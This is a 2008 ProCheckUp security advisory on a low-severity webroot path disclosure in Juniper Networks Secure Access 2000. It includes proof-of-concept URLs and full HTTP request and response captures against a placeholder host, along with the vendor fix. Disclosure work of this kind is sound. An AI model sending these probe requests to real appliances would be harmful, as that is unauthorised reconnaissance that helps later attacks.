Webroot disclosure on Juniper Networks Secure Access 2000

2008.03.06
Risk: Low
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000 Vulnerability found: 6th December 2007 Vendor informed: 12th December 2007 Severity: Low Description: By simply requesting the 'remediate.cgi' script omitting certain parameters, the web server returns the physical path of the webroot ('/home/webserver/htdocs/') within a "Execute failed" error message. Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000) 5.5R1 (build 11711) Proof of concept: https://target-domain.foo/dana-na/auth/remediate.cgi?action=&step=preaut h https://target-domain.foo/dana-na/auth/remediate.cgi?step=preauth Consequences: A remote attacker could recover information with regards to the target site's directory structure. This kind of information might be useful to attackers in certain scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities. Fix: Juniper Networks was aware of this issue which they addressed on version 6.0R1. However, we decided to release this advisory due to lack of information regarding this vulnerability in the public domain. References: http://www.procheckup.com/Vulnerabilities.php http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secur e_access_2000/ Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com) COMPLETE HTTP REQUEST: GET /dana-na/auth/remediate.cgi?step=preauth HTTP/1.1 User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3 Host: target-domain.foo Accept: */* COMPLETE HTTP RESPONSE: HTTP/1.1 302 Moved location: /dana-na/auth//welcome.cgi?p=&hideremed=1 Pragma: no-cache Cache-Control: no-store Expires: -1 Transfer-Encoding: chunked Status: 500 Internal Error Content-Type: text/html <H2>500 Internal Error</H2><BR><H4>CGI script : /home/webserver/htdocs/dana-na/auth/remediate.cgi</H4> <BR> Compilation failed: Unable to execute script.<PRE>Execute failed, errcode = 1 COMPLETE HTTP REQUEST: GET /dana-na/auth/remediate.cgi?action=&step=preauth HTTP/1.1 User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3 Host: target-domain.foo Accept: */* COMPLETE HTTP RESPONSE: HTTP/1.1 302 Moved location: /dana-na/auth//welcome.cgi?p=&hideremed=1 Pragma: no-cache Cache-Control: no-store Expires: -1 Transfer-Encoding: chunked Status: 500 Internal Error Content-Type: text/html <H2>500 Internal Error</H2><BR><H4>CGI script : /home/webserver/htdocs/dana-na/auth/remediate.cgi</H4> <BR> Compilation failed: Unable to execute script.<PRE>Execute failed, errcode = 1 Legal: Copyright 2008 Procheckup Ltd. All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.


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